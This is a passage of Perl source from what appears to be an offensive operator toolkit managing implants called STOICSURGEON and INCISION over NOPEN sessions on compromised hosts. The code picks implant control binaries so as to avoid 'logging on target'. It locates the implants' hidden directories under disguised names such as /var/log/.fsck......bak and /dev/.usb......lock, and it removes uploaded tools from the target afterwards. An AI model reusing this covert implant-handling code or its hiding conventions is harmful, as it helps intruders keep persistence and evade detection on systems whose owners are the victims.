    "       $nopen_serverinfo";
  if ($more[0]) {
    @matches = grep /$more[0]/ , @ctrlslist;
  }
  #dbg("stoicver=$stoicver Matches=(@matches) more[0]=$more[0]=_$more[0]_ ");
  my $morecount = @more;
  if (length $stoicver) {
    $stoicmore .= "\n$morecount of which match STOICSURGEON v.$stoicver:\n";
    for ($i=0;$i<@matches;$i++) {
      my $ls = `ls -l $matches[$i]`;
      $ls =~ s/.*(\s+\d+\s+(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec))/$1/;
      $stoicmore .= $ls;
    }
  } else {
    $stoicmore .= "\n\nSee popup window at right listing all $matchsize candidates.\n".
      "(close that window whenever you like)\n";
  }

  $stoicmore .= "\n\n";
  #dbg("candidatefile=$candidatefile= stoicctrlfile=$stoicctrlfile=");
  if (!$candidatefile and -e $stoicctrlfile) {
    $candidatefile = $stoicctrlfile;
  }
#dbg("

#noprompt=$noprompt=
#forceit=$forceit=
#AFTER
#candidatefile=$candidatefile=
#stoicctrlfile=$stoicctrlfile=");
#OLDWAY: if (open(UTILSIN,"$optmp/stoicctrl.$nopen_rhostname")) {
#    ($candidatefile) = <UTILSIN>;
#  close(UTILSIN);

  while ((! -e $candidatefile ) or $noprompt or $forceit) {
    my ($ans,$longans)=();
    $forceit=0;
    if ($noprompt) {
      if ($more[0]) {
	@matches = grep /_$more[0]_/ , @origctrlslist unless @matches;
	@matches = grep /$more[0]/ , @origctrlslist unless @matches;
      }
#dbg("0Matches=(@matches) more[0]=$more[0]=_$more[0]_= ");
      if ($stoicver and @matches == 1) {
	($longans,@junk) = grep /_$more[0]_/ , @ctrlslist ;
	($longans,@junk) = grep /$more[0]/ , @ctrlslist unless $longans;
#dbg("longans=$longans junk=(@junk)");
	$longans = "" if @junk;
      }
    } else {
       my $default = "ABORT";
       $default = $more[0] if (@matches == 1 and length $more[0]) ;
      ($ans,$longans) = mygetinput
	("$stoiccmd\n\n".
	 $COLOR_FAILURE.
	 "Using the wrong version of Stoicsurgeon-Ctrl can cause logging on target.\n".
	 "The version used should match that of STOICSURGEON deployed most recently.\n".
	 "$COLOR_NORMAL\n".
	 $stoicmore.
	 "Which version of Stoicsurgeon-Ctrl should we use\n".
	 "(do one of:\n".
	 "   triple-click the ls line you want;\n".
	 "   enter the four number version string;\n".
	 "   enter a complete file path (one not shown if need be); or\n".
	 "   enter ABORT to do so):",
	 $default,
	 @therest);
      if ($ans eq "a") {
	mystoicmydie("Aborted by user.")
	  if (defined &mystoicmydie);
	$stoicctrl = "";
	last;
      }
    }
    last unless length $longans > 1;

    # Listing shown includes inode, size, date. If they triple-click/paste a line
    # from it, trim it here to just the full path.
    $longans = $1
      if ($longans =~ m,\d (/current/up.*),) ;
    # Uparrow or whatever causes brackets to show up which breaks grep below.
    $longans =~ s/[\[\]]//g;
    $longans = $1
      if ($longans =~ m,v(\d+\.\d+\.\d+\.\d+),) ;

    @matches = grep /${longans}/ , @ctrlslist;
    #dbg("matches=(@matches) scalar=".scalar @matches);
    unless (@matches) {
      my @matches2 = grep /${longans}/ , @origctrlslist;
#      dbg("Got


#longans=$longans=

# matches=(\n".
#join("\n",@matches)."
# matches2=(\n".
#join("\n",@matches2)."
#origctrlslist=(\n".
#join("\n",@origctrlslist)."
#)");
      if (@matches2 = grep m,${longans}, , @origctrlslist) {
	my ($this,$es,$was) = ("This","");
	($this,$es,$was) = ("These","es","were") if @matches2 > 1;
	my ($ans) = mygetinput
	  ("$this match$es $was ruled out by target hardware/platform\n".
	   "Are you sure?","N");
	mystoicmydie("Aborted by user.")
	  if ($ans eq "n" and defined &mystoicmydie);

	next unless $ans eq "y";
      }

    }
    $candidatefile = "$matches[0]"
      if -e "$matches[0]";
    $candidatefile = $longans
      if (-e $longans);
#dbg("
#linuxtarget=$linuxtarget=
#solaristarget=$solaristarget=
#sparctarget=$sparctarget=
#inteltarget=$inteltarget=
#sparc64target=$sparc64target=
#intel64target=$intel64target=
#targetos=$targetos=

#stoicver=$stoicver=
#morecount=$morecount
#stoicmore=$stoicmore=
#candidatefile=$candidatefile=
#");
    $stoicctrl = $candidatefile;
    last if $noprompt;
  }
#OLDWAY: and open(UTILSOUT,">$optmp/stoicctrl.$nopen_rhostname")) {
#    print UTILSOUT $candidatefile;
#  close(UTILSOUT);
#dbg("1in mystoicctrl(@_) dolocalecho just returned killstring=$killstring=");
#dbg("killing stoic popup here if therehere:\n".
#    "killlocalechopopup($killstring);");

  killlocalechopopup($killstring);
  if (-e $candidatefile) {
    newhostvar("stoicctrlfile",$candidatefile);
  } else {
    newhostvar("stoicctrlfile","");
  }
  return $stoicctrlfile;
}#mystoicctrl

sub runandteststoicctrl {
  # Only thing calling this (as of 16 MAR 2010) is autoskinny
  # Returns NON-ZERO if failure (an error message),
  # Returns NULL ("") if not.
  # $p_args is an array ref to our args for stoicctrl
  # $p_output is an array ref, we populate that array 
  my ($p_args,$p_output) = (@_);
#  my @args = (@_);
  my @sargs = ();
  my @problems = ();
  my $testoutfile = "";
  if ("@$p_args" =~ m,-o\s*(/\S+),) {
    $testoutfile = $1 if (-d dirname($1));
  }
  if ($testoutfile) {
    push(@sargs,"-o$testoutfile");

  } else {
    $testoutfile = "$optmp/stoicctrl.out";
  }
#dbg("args is now (@$p_args)");
  my $opto = 0;
  foreach (@$p_args) {
    if ($opto) {
      $opto = 0 unless ($_ eq "-o");
      next;
    }
    $_ eq "-o" ?  $opto = 1 : $opto = 0;
    push(@sargs,$_) unless (m,-o/,);
  }
  ($completeoutput,@completeoutput,@errs,$results,
   @results,%results) = ();
  stoicctrl(@sargs);
  open(STOICIN,$testoutfile) or return ("ERROR: Could not write to $testoutfile");
  @$p_output = <STOICIN>;
  close(STOICIN);
  @results = grep /^\d+\s*$/ , $p_output;
  @problems = grep ! /^0+\s*$/ , @results;
  if (@problems) {
    @problems=(
	   "Unable to use Stoicsurgeon-Ctrl or it returned non-zero. Use -gs stoicctrl -X\n".
	   "to try it again with some other file, or maybe you need help if the box is\n".
	   "really no longer stoic-ed.",@problems
	  );
  }
  #dbg("runandteststoicctrl(@_) 

#\@\$p_output=($p_output)

#returning @problems");
  return @problems;
}#runandteststoicctrl

sub stoicctrl {
  # Uses and populates some globals:
  #   @completeoutput
  #   %results
  #   @errs
  #   @ARGV
#  local (@args) = (@_);
  use File::Copy ;
#  my @saveARGV = @ARGV;
#  @ARGV=@args;
  my $autofile = "$opetc/autostoicctrl";
  unless (-e $autofile) {
    mystoicmydie("Cannot call stoicctrl: $autofile not there")
      if defined &mystoicmydie;
    mydie("Cannot call stoicctrl: $autofile not there");
  }
  # This calls autostoicctrl, which will parse @ARGV
#dbg("Calling do $autofile with argv=(\n".join("\n",@ARGV)."\n);\n");
  my $retval = mydo($autofile,@_);
#  do "$autofile";
  @errs = grep /^1$/,@completeoutput;
  %results = ();
  my ($running) = ();
  foreach (@completeoutput) {
    if (/RUNNING/) {
      $running = $_ ;
    } else {
      $results{$running} .= $_ if $running;
    }
  }
  $running = "";
  foreach my $key (keys %results) {
    $running .= "$key: $results{$key}\n";
  }
#  dbg("exiting stoicctrl(@_) with errs=(@errs) results=(".
#      $running.
#      ")");

#  @ARGV=@saveARGV;
}

sub gethiddendir {
  # Looks for hidden dir, STOIC first then IN.
  # If $runctrl provided, it must be the correct upload/execute Ctrl.
  # RETURNS: ($hdir,$shdir,@hiddoutput);
  # $hdir is complete hiddendir (if there)
  # $shdir is that less the last three characters
  # @hiddoutput is complete ls output, just one line if there is one dir
  # @tmphiddoutput is a staging area, grepped on to find @hiddoutput
  # NEW MAR 2010:  Returns modified ref-arrays of directories.
  local ($redols,$recurse,$refdirarray,$refshortdirarray,$nosleep,$ghd_startpath) = (@_);
$ghd_startpath = $startpath if ($startpath =~ m,^/...,);
#offerabort("in sub gethiddendir() ghd_startpath=$ghd_startpath=");

  # Silently drop this if it is not /-relative
  $ghd_startpath = "" unless ($ghd_startpath =~ m,^/[^/],);
  if ($ghd_startpath) {
    # Preserve all variables, revert back to these when done.
    copy($hostvarfile,"$hostvarfile.bak.$$");
  }


##TESTINGONLY
#$ghd_startpath = "/.zfs/snapshot/*";




  my (@newdirarray,@newshortdirarray) = ();
  my $seewhat = "";
  my $content = "This is odd.";
  my $orighostdir = $host_hiddendir;
#dbg("In gethiddendir(@_)
#recurse=$recurse=
#orighostdir=$orighostdir=
#content=$content=
#");
  if ($recurse =~ /(.*)SPECIAL:/) {
    # This is special, means not recurse but change the $content in the prompt
    $orighostdir = $1 if ($recurse =~ m/(\/.*)SPECIAL:/);
    $content = $recurse;
    $content =~ s,.*SPECIAL:,,g;
    $content .= "\n";
    $recurse = 0;
    #dbg("We are special near: content=$content= orighostdir=$orighostdir=");
  }
  if ($recurse) {
    #$seewhat = "-R";
    $runctrl = "";
  }
  mydie("Only call gethiddendir() when \$socket is live")
    unless $socket;
  # $hexdir is a (ls and -ls and shell) regexp for a dotfile starting with exactly 16 hex digits
# WAS:
#  local $hexdir = "."."[A-Fa-f0-9]" x 16 . "*";
#  local $tmpdir = ".tmp"."[A-Za-z0-9_-]" x 6 . "*";

  local $hexdir = "\."."[a-f0-9]{16}";
  local $tmpdir = "\.tmp"."[a-z0-9_-]{6}";
  my ($olderformat,$latestformat,%olddir,%regexdir) = (0,0);
$dbgoutput = "";
  $regexdir{"$ghd_startpath/var/log"} = "/var/log/\.fsck......\.bak";
  $regexdir{"$ghd_startpath/var/spool"} = "/var/spool/\.cron......\.bak";
  $regexdir{"$ghd_startpath/var/tmp"} = "/var/tmp/\.......-unix";
  $regexdir{"$ghd_startpath/lib"} = "/lib/\.security......\.lock";
  $regexdir{"$ghd_startpath/dev"} = "/dev/\.usb......\.lock";
  $regexdir{"$ghd_startpath/etc"} = "/etc/\.dev......\.save";
  $regexdir{"$ghd_startpath/"} = "/opt......\.save";
  $olddir{"$ghd_startpath/var/tmp"}++ ;
  local ($hdir,$shdir,$ctrlhdir,$ctrlfailed,$output,$nopenlines,
	@hiddoutput,@tmphiddoutput,@norecurseoutput,$indir,$lscmd)  = ();
  # On HPUX, we change $hexdir to be not dotfile and exactly 32 hex digits
  my @parentdirs = (
		 "$ghd_startpath/var/spool",
		 "$ghd_startpath/var/log",
		 "$ghd_startpath/lib",
		 "$ghd_startpath/dev",
		 "$ghd_startpath/etc",
		 "$ghd_startpath/",
		 "$ghd_startpath/var/tmp", # MUST BE LAST IN LOOP BELOW
		);
  if ($hpuxtarget) {
    $hexdir = "3d9892354a360245add0f483f269f3" ;
    @parentdirs = ("/lost+found") ;
  }
#WAS THIS BUSTED?
# if (!$host_hiddendir and $host_hiddendir_not_found and !$redols) {
dbg("
redols=$redols=
host_hiddendir=$host_hiddendir=
host_hiddendir_not_found=$host_hiddendir_not_found=
");
  if (!$redols and ($host_hiddendir or $host_hiddendir_not_found)) {
    if (defined $refdirarray) {
      # Set the refarrays via the globals
      @$refdirarray = @host_hiddendirs;
      @$refshortdirarray = @host_shorthiddendirs
	if (defined $refshortdirarray);
    }
    if ($recurse) {
	doit("-ls -R ".join(" ",keys %host_hiddendirs));
        progprint("\n$COLOR_NORMAL\nHidden directories recursively listed above.".
		"\n\nhost_hiddendirlist=$host_hiddendirlist=");
    }
    return ($host_hiddendir,$shdir,());
  }
  my $dirtype = "Stoicsurgeon";
  while (1) {
    if ($indir) {
      $dirtype = "Incision";
    } else {
      $lscmd = "-ls -d $seewhat";
#      $lscmd2 = "-ls $seewhat";
#      $lscmd = "" if $recurse;
      # Have to be careful here. If @parentdirs grows much, the -ls line will be too big.
      # As of 18 AUG 2009, the command is under 1200 characters. Up to 1900 or so would be OK.
      # Within this foreach loop, could test length and do multiple -ls commands if it gets
      # too big. For now that's not in here.
      foreach (@parentdirs) {
	$lscmd .= " $_/.[a-z0-9]*";
      }
    }
    $lscmd =~ s,/+,/,g;
    my $savelocal = " >L:$optmp/stoichunt.$nopen_rhostname";
    # Nah, never mind: 
    $savelocal = "";
    if ($savelocal) {
        preservefile("$optmp/stoichunt.$nopen_rhostname");
    }

#    if ($recurse) {
#      if (defined &mydoit) {
#	($tmphiddoutput,$nopenlines,@norecurseoutput) = 
#	  mydoit("-ls $lscmd$savelocal");
#	($tmphiddoutput2,$nopenlines2,@norecurseoutput2) = 
#	  mydoit("-ls $lscmd2$savelocal");
#      } else {
#	($tmphiddoutput,$nopenlines,@norecurseoutput) = 
#	  doit("-ls $lscmd$savelocal");
#	($tmphiddoutput2,$nopenlines2,@norecurseoutput2) = 
#	  doit("-ls $lscmd2$savelocal");
#      }
#      # When we are recursing, let nopenlss do that for us,
#      # it will use our mydoit() to run the -ls itself.
#      # We ignore the array output, the above -ls -d is used
#      # to set the hidden dir variable.
#    
#      ($hiddoutput,$nopenlines,@tmphiddoutput) = 
#	nopenlss("-UR",$lscmd)
#	  if (@norecurseoutput);
#    } else {
      $lscmd .= $savelocal;
      if (defined &mydoit) {
	($hiddoutput,$nopenlines,@tmphiddoutput) = 
	  mydoit($lscmd);
#        ($hiddoutput2,$nopenlines2,@norecurseoutput2) =
#          mydoit($lscmd2);
      } else {
	($hiddoutput,$nopenlines,@tmphiddoutput) = 
	  doit($lscmd);
#        ($hiddoutput2,$nopenlines2,@norecurseoutput2) =
#          doit($lscmd2);
      }
#    }
#    dbg("prog=$prog Just did lscmd=$lscmd= and got hdir=$hdir= shdir=$shdir=
#hiddoutput=$hiddoutput=
#nopenlines=$nopenlines=
# (\n".join("",@hiddoutput));

    

    # New filters on @hiddoutput
    my @oldhiddoutput = ();
    foreach my $parentdir (@parentdirs) {
	# We stop looking for olddir if we have any new hits so far
        if (!$regexpdir{$parentdir} or $olddir{$parentdir}) {
  #local $hexdir = "\\."."[A-Fa-f0-9]{16}";
  #local $tmpdir = "\\.tmp"."[A-Za-z0-9_-]{6}";
	    my $previouscount = @oldhiddoutput;
	    push(@oldhiddoutput, grep m,$parentdir/$hexdir,i , @tmphiddoutput);
	    push(@oldhiddoutput, grep m,$parentdir/$tmpdir,i , @tmphiddoutput);
$dbgoutput .= "OLD: Filtering on $parentdir/$hexdir and ./$tmpdir\nSIZE NOW: ".scalar @oldhiddoutput."\n".scalar@tmphiddoutput."\n";
	    $olderformat++ if (@oldhiddoutput > $previouscount);
        }
        if ($regexdir{$parentdir}) {
	    my $previouscount = @hiddoutput;
	    push(@hiddoutput, grep m,$regexdir{$parentdir}, , @tmphiddoutput);
#$dbgoutput .= "NEW: Filtering on $regexdir{$parentdir}\nSIZE NOW: ".scalar @hiddoutput."\n";
	    $latestformat++ if ($previouscount < @hiddoutput);
	}
    }

dbg("dbgoutput=\n$dbgoutput\n\n".  "PARENTDIRS=(@parentdirs)\n".
	"OLD:\n".
	join("\n",@oldhiddoutput).
"");
    if (@oldhiddoutput and @hiddoutput) {
	mygetinput("This is pretty odd.  We see both old and new names here.\n\n".
		$COLOR_NOTE."OLD:$COLOR_NORMAL\n  ".
		join("\n  ",@oldhiddoutput).
		$COLOR_NOTE."NEW:$COLOR_NORMAL\n  ".
		join("\n  ",@hiddoutput).
		"\n\nWe are proceeding here anyway, take note is all\n\n".
		"Press Enter to continue.".
		"");

    }
    push(@hiddoutput,@oldhiddoutput);
    @norecurseoutput = @hiddoutput;
    if (@hiddoutput > 1 and !$recurse and $prog !~ /getnewsuc/) {
      mywarn ("NOTE:  $dirtype hidden dir ($ctrlhdir) not matching what -ls finds ($hdir).\n".
	      "          You figure it out.")
	if ($runctrl);
#      dbg("NOTE: More than one directory fits the pattern.");
      progprint("NOTE: More than one directory fits the pattern.",$COLOR_FAILURE);
      sleep 4 unless $nosleep;
      progprint("NOTE: More than one directory fits the pattern.\n\n".
	     "      You figure it out, but we are continuing, returning first one:\n".
	     join("\n",@hiddoutput),$COLOR_FAILURE);
      sleep 2 unless $nosleep;
    }

  # Assert, we have @hiddoutput so we have hidden dir(s)
  (%host_hiddendirs,$host_hiddendirlist) = ();
  $dirnowgonewarning = "";
  $multipledirwarning = "";
  $filematchingwarning = "";
  my ($type,$firsthidden) = ();
  newhostvar("host_hiddendirlisting","CLEARALLMATCHING");
  $host_hiddenrfilesmatching = "";
  my %stilltheredirs = ();
  foreach my $line (@hiddoutput) {
    my $skip = 0;
    ($type,$hdir) = $line =~ m,^\s*(\S).* (/\S*),;
    $stilltheredirs{$hdir}=1;
    if ($type ne "d") {
      $host_hiddenfilesmatching .= "$line\n" ;
      next ;
    }
    $skip++ if isbeneathhidden($hdir);
#offerabort("LINE=$line=\nskip=$skip=");
#    foreach my $dir (keys %host_hiddendirs) {
#dbg("Is =$hdir= a subdir of already hidden =$dir=?");
#      # Skip this one if a subdir of prev one already
#      $skip++ if ($hdir =~ m,^$dir/,);
#    }
    $host_hiddendirlisting .= "$line\n";
    next if $skip;
    $host_hiddendirlist .= "__" if $host_hiddendirlist;
    $host_hiddendirlist .= $hdir;
    newhostvar("host_hiddendirs{$hdir}",$line);
  }
  foreach my $dir (keys %host_hiddendirs) {
    next if (!$dir or $stilltheredirs{$dir});
    $dirnowgonewarning .= $host_hiddendirs{$dir}."\n" if $host_hiddendirs{$dir};
    newhostvar("host_hiddendirs{$dir}","CLEARALLMATCHING");
  }
  if ($dirnowgonewarning and !$ghd_startpath) {
    mygetinput($COLOR_NORMAL."\n\n".
	"There were one or more matching directories previously on\n".
	"$nopen_rhostname which are no longer there, FYI:\n\n".
	$COLOR_FAILURE.$dirnowgonewarning.
	"\nPress Enter to continue...".
#	"\n\nResuming in 4 seconds...".
	"\n\n");
    #sleep 4;
  }
  newhostvar("host_hiddendirlisting",$host_hiddendirlisting);
  newhostvar("host_hiddendirlist",$host_hiddendirlist);
  newhostvar("host_hiddendirlist{$nopen_rhostname}",$host_hiddendirlist);
  @host_hiddendirs = keys %host_hiddendirs;
  @newdirarray = @host_hiddendirs;
  @newshortdirarray = setshortdirs(@newdirarray);

    if ($recurse) {
	doit("-ls -R ".join(" ",keys %host_hiddendirs));
        progprint("\n$COLOR_NORMAL\nHidden directories recursively listed above.".
		#"\n\nhost_hiddendirlist=$host_hiddendirlist=".
		"");
    }
    if (@hiddoutput) {
	my $ies = "y";
 	my $ofthem = "";
	my $is = "is";
	if (@hiddoutput > 1) {
	    $ies = "${COLOR_FAILURE}ies$COLOR_NORMAL";
	    $multipledirwarning = "\n$COLOR_FAILURE\n\n".
		"  BUT:  There are more than one of them. Unless you know this is OK,\n".
		"        it almost certainly is NOT OK!!!";
	}
	my @filesmatching = grep /^[^d]/ , @hiddoutput;
	if (@filesmatching) {
	    my $one = "One";
	    my $is = "is";
	    if (@filesmatching > 1) {
		$one = "More than one";
		$is = "are";
	    }
	    $filematchingwarning = "\n$COLOR_FAILURE\n\n  BUT: $one $ofthem $is a FILE!!!\n\n".
		"       If you were not expecting that, get some senior help.";
	}
	if ($ghd_startpath) {
	    $ghd_startpath = " beneath $ghd_startpath";
	}
        progprint("Hidden director$ies found$ghd_startpath:$COLOR_NORMAL\n\n".
		  $host_hiddendirlisting.
		  $multipledirwarning.
		  $filematchingwarning.
		"");
	# If we are on an OLD STOIC we alert on that with a problem
	if ($olderformat) {
	    mydo("autoproblem","-TSTOICSURGEON","Older Hidden Directory Format:\n".
	         $host_hiddendirlisting.
	         "");
	    rename("$opdown/STOICSURGEON-problems.log","$opdown/$nopen_rhostname.STOICSURGEON-problems.log");
	} else {
	    # We silently remove this file if is there from prior to recent install
	    unlink("$opdown/$nopen_rhostname.STOICSURGEON-problems.log");
	}

	# If this op has a successful STOIC install, ensure new hidden gets logged
	if (my @content = readfile("ARRAY",
		"$optooldir/STOICSURGEON.txt")) {
	    my $diff=0;
	    for ($i=0 ; $i<@content ; $i++) {
		next unless ($content[$i] =~ /^TOOL COMMENTS=/);
		my $was = $content[$i];
		$content[$i] =~ s, host_hidden.*,,g;
		$content[$i] =~ s, hidden.*,,g;
		$content[$i] .= " host_hiddendirlist=$host_hiddendirlist";
		$diff++ unless ($was eq $content[$i]);
		last;
	    }
	    writefile("$optooldir/STOICSURGEON.txt",
		@content) if $diff;
	} else {
	  my $stoicver = "1.8.0.0";
	  my $more = "";
	  if (! $latestformat) {
	    $stoicver = "0.0.0.0"; # Unknown how old, but not 1.8
	    $more = " (older than 1.8.x.x)";
	  }
	  logtool("STOICSURGEON",
		  $stoicver,
		  "SUCCESS",
		  "ACCESSED",
		  "host_hiddendirlist=$host_hiddendirlist".$more,
		 );
	  
	}
    } else {
        if ($indir) {
	  newhostvar("host_hiddendir_not_found",int($host_hiddendir_not_found) + 1,
		     "hiddendir_viastoic",0,
		     "host_hiddendir","CLEARALLMATCHING");# if ($ghd_startpath eq "");
	  last;
        }
        # Look for INCISION dir
        $indir = "/platform/SUNW,SystemEngine";
        $indir = "/platform/dvri86pc" if $inteltarget;
        # No hpux section here, we find that up in the $hexdir area
        $lscmd = "-ls $seewhat $indir*";
        $lscmd = "$indir*" if $recurse;
        next unless ($darwintarget or $aixtarget);
    }
    last;
  }
  # We arbitrarily set the old scalar hiddendir variables
  # based on the first one in @$refdirarray.
  $hdir = $newdirarray[0];
  ($shdir) = $hdir =~ /(\S+)\S\S\S/;
  my @vars = 
    ("host_hiddendir_not_found",0,
     "hiddendir_viastoic",scalar @newdirarray);
  if ($indir) {
    @vars = ("host_hiddendir_not_found",0,
	     "hiddendir_viastoic",0);
  }
  newhostvar(@vars,
	     "host_hiddendir",$hdir);# if ($ghd_startpath eq "");

#dbg("near:

#    mywarn(Host hidden directory changed? $content\n.
#	   Used to be:    $orighostdir\n.
#	   Now it is:     $host_hiddendir);


#with recurse=$recurse=
#orighostdir=$orighostdir=
#host_hiddendir=$host_hiddendir=

#");
  unless ($ghd_startpath or $recurse or
	  (!$orighostdir and !$host_hiddendir) or
	  $orighostdir eq $host_hiddendir) {
    $content =~ s,(This is normal.*),$COLOR_NOTE$1$COLOR_FAILURE,g;
    $hiddenchanged++ if defined $hiddenchanged;
    mywarn("Host hidden directory changed? $content\n".
	   "Used to be:    $orighostdir\n".
	   "Now it is:     $host_hiddendir");
  }
  # Set globals from these new findings
  @host_shorthiddendirs = @newshortdirarray;
  if (defined $refdirarray) {
    # Set $ref*array from these new findings
    @$refdirarray = @newdirarray;
    @$refshortdirarray = @newshortdirarray
      if (defined $refshortdirarray);
  }

#dbg("set refarrays to

#host_hiddendirs=(\n".
#join("\n",@host_hiddendirs)."\n)
#host_shorthiddendirs=(\n".
#join("\n",@host_shorthiddendirs)."\n)

#and  return ($host_hiddendir,$shdir,(@hiddoutput));");

    if ($recurse) {
	doit("-ls -R $host_hiddendirlist");
        progprint("Hidden directories listed recursively above.".
		  $multipledirwarning.
		  $filematchingwarning.
		"");
    }
  if ($ghd_startpath) {
    # Reset all variables back to seconds ago
    unlink($hostvarfile);
    rename("$hostvarfile.bak.$$",$hostvarfile);
  }
  return ($host_hiddendir,$shdir,@hiddoutput);
}#gethiddendir

sub dotdotpathforfile {
  return "" unless $socket ;
  my ($file,$indir) = (@_);
  return "" unless $file;
  if ($indir =~ m,^/+[^/],) {
    # Be sure the $indir terminates in a single /
    $indir =~ s,/*$,/,;
  } else {
    # Ignore $indir if not in right format
    $indir = "";
  }
  my $newfile = "$indir$file";
  my ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,$localpid,$localppid,
      $serverver,$targetwdir,$targetos,$targetcwd,$targetpid,$targetppid,$targetport,$localport)
    =  parsestatus(force);
  # Use deeper of cwd and dirname($file)
  my $depth = $targetcwd;
  $depth =~ s,/+,/,g;
  $depth =~ s,[^/],,g;
  my $depth = length($depth);
  #dbg("first targetcwd=$targetcwd file=$file= newfile=$newfile= depth=$depth=");
  while ($depth-- > 0) {
    $newfile = "../$newfile";
    #dbg("in while file=$file= newfile=$newfile= depth=$depth=");
  }
  #dbg("LAST file=$file= newfile=$newfile= depth=$depth=");
  $newfile  =~ s,/+,/,g;
  return $newfile;
}

sub rmctrl {
  # This is now smart about depth. If our current $targetcwd is deeper in
  # than the number of "../" on the front of $ctrluploaded, we add 
  # the difference times "../" to the front of $ctrluploaded.
  local($force) = (@_);
  #dbg("In rmctrl(@_) ctrluploaded=$ctrluploaded= force=$force reusestoic=$reusestoic");
  return if $reusestoic and !$force;
  newhostvar(); # Reads in host specific variables fresh
#  do "$optmp/stoicuploaded.$nopen_rhostname"
#    if -s "$optmp/stoicuploaded.$nopen_rhostname";
  # TODO: switch from above to hostvar.
  return unless $socket and $ctrluploaded;
  ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,$localpid,$localppid,
   $serverver,$targetwdir,$targetos,$targetcwd,$targetpid,$targetppid,$targetport,$localport)
    =  parsestatus();
  my ($depth) = $ctrluploaded =~ m,(../)*,;
  $depth = length($depth) / 3;
  my $curdepth = $targetcwd;
  $curdepth =~ s,[^/],,g;
  $curdepth = length($curdepth);
  while ($curdepth > $depth) {
    $ctrluploaded = "../$ctrluploaded";
    $curdepth--;
  }
  if ($ctrluploaded) {
    if (defined &mydoit) {
      mydoit("-rm $ctrluploaded");
    } else {
      doit("-rm $ctrluploaded");
    }
  }
  foreach my $key (keys %ctrluploaded) {
    delete $ctrluploaded{$key};
  }
#  unlink "$optmp/stoicuploaded.$nopen_rhostname";
  newhostvar("ctrluploaded","CLEARALLMATCHING");
  $ctrluploaded = "";
}#rmctrl

sub newhostvar {
  # Re-write out $varfile with new(replacement) variable.
  # Read in entire file again via do.
  # For simplicity, assume all are strings for now.
  # When defining a hash, the KEY must not contain double quotes, and need
  # not be double quoted when newhostvar() is called (we do that here).
  # If the string contains any special characters, escape 
  # them UNLESS the $varname contains "regexp". That means do NOT send
  # such special chars here already escaped.
  # NEW: Now gbl_ go only in $global_varfile, and host_ in $hostvarfile
  local (%variable) = (@_);

#dbg("In newhostvar(@_), pausing 3");
#sleep 3;

  # No args, just read latest values and return
  unless (%variable) {
    do $global_varfile if ($global_varfile and -f $global_varfile);
    do $hostvarfile if ($hostvarfile and -f $hostvarfile);
#    dbg("newhostvar(@_) returning doing nothing");
    return;
  }

#  local ($varname,$value,$doglobal) = (@_);
  my (
      # Clear for each file
      $contenthash,
      $contentscalar,
      # Do not clear per file, used only in global which has to be done second
      %allglobalhashes,
      %allhosthashes,
     ) = ();
  
  my $doglobal = 0;
  my @varfiles = ();

  # Odd number of arguments, means this is for $doglobal only
  if (scalar @_ % 2) {
    pop(@_);
    $doglobal++;
  } elsif ($hostvarfile) {
    push(@varfiles,$hostvarfile);
  } else {
    $doglobal++;
  }

  $doglobal++ if (" @_ " =~ / oppasswd /);
  $doglobal++ if (" @_ " =~ / opuser /);
  $doglobal++ if (" @_ " =~ / gbl_/);
  $doglobal++ unless (@_); # No args, just read/set both files' contents

  push(@varfiles,$global_varfile)
    if ($doglobal);

  #dbg("Setting vars from @_ with varfiles=(@varfiles)");

  # We now hardcode to ALWAYS process both files, so $host_ hashes are 
  # cleared in global, then set in host
  # Global first.
  @varfiles = (
	       $hostvarfile,
	       $global_varfile,
	      );
  @varfiles = ($global_varfile) unless $hostvarfile;

  foreach my $varfile (@varfiles) {
    $contenthash = "";
    $contentscalar = "";
    my %setvaralready = ();
    if (-f $varfile) {
      copy($varfile,"$varfile.$$");
      open(UTILSIN,"$varfile.$$");
    }
    my $onglobal = 1 if ($varfile eq $global_varfile);
    foreach my $newvarname (sort keys %variable) {
      my ($gotnewhostvar,$gotnewglobal_var) = ();
      my ($newhashname,$newhashkey) = $newvarname =~ /(\S+)\s*\{([^\}]+)\}/;
      my $gotnewhash = 1 if ($newhashname and $newhashkey);
      $gotnewhostvar = 1 if ($newvarname =~ /^host_/);
      $gotnewglobal_var = 1 if ($newvarname =~ /^(global|gbl)_/);
      my $value=$variable{$newvarname};
      # quotes are escaped, regardless
#      $value =~ s,([^\\])",$1\\",g;
#      $value =~ s,^",\",g;
      $value =~ s,\",.,g;

      # Special chars: + * \ ^ .  are escaped unless this is a regexp
      if ($newvarname =~ /regexp/i) {
	# Exception here, in a regexp we single escape the $ if there since $" is a special.
	if ($value =~ m,\$$,) {
	  $value =~ s,\$$,\\,;
	  $value .= "\$";
	}
      } else {
	# Must do \ first (we add our own after that)
	$value =~ s,\\,\\\\,g;
	$value =~ s,\+,\\+,g;
	$value =~ s,\*,\\*,g;
	$value =~ s,\^,\\^,g;
	$value =~ s,\.,\\.,g;
	$value =~ s,\#,\\#,g;
	# No newlines in this file, all oneline definitions.
	$value =~ s,\n,\\n,g;
	$value =~ s,\r,\\r,g;
      }

      # If this is setting a hash value, ensure the key is quoted
      # (make it quoted if it is not),unless the key is an integer.
      my $clearmatch = 0;
      $clearmatch++ if ($value eq "CLEARALLMATCHING");
      if ($gotnewhash) {
	# We must clear the entire hash each global do, then set values
	# in either global or host do.

	# Clean up key, then newvarname itself:
	#    - force just one doublequotes around ALL keys first
	#    - then for integers force no quotes
	#    - finally fix newvarname after other fixes
	# NOTE: This does not handle well any keys with double quotes
	#       embedded in them.  Just don't do that.
	$newhashkey =~ s,\",,g;
	# Then remove quotes if it is all digits
	unless ($newhashkey =~ m,^(\d+)$,) {
	  $newhashkey = escapestr($newhashkey);
	  # Force exactly one \" at front and back
	  $newhashkey = "\"$newhashkey\"";
	}
	$newvarname = "$newhashname"."\{$newhashkey\}";
	dbg("BEFORE:NEWHOSTVAR:Got setvaralready{safestr($newvarname)}=".
	    $setvaralready{safestr($newvarname)});
	if ($gotnewglobal_var) {
	  $allglobalhashes{$newhashname}++;
	  unless ($clearmatch or $gotnewhostvar or !$onglobal) {
	    next if ($setvaralready{safestr($newvarname)}++);
	    $contenthash .= "\$$newvarname = \"$value\";\n";
	  }
	} else {
	  $allhosthashes{$newhashname}++;
	  unless ($clearmatch or $onglobal) {
	    next if ($setvaralready{safestr($newvarname)}++);
	    $contenthash .= "\$$newvarname = \"$value\";\n";
	  }
	}
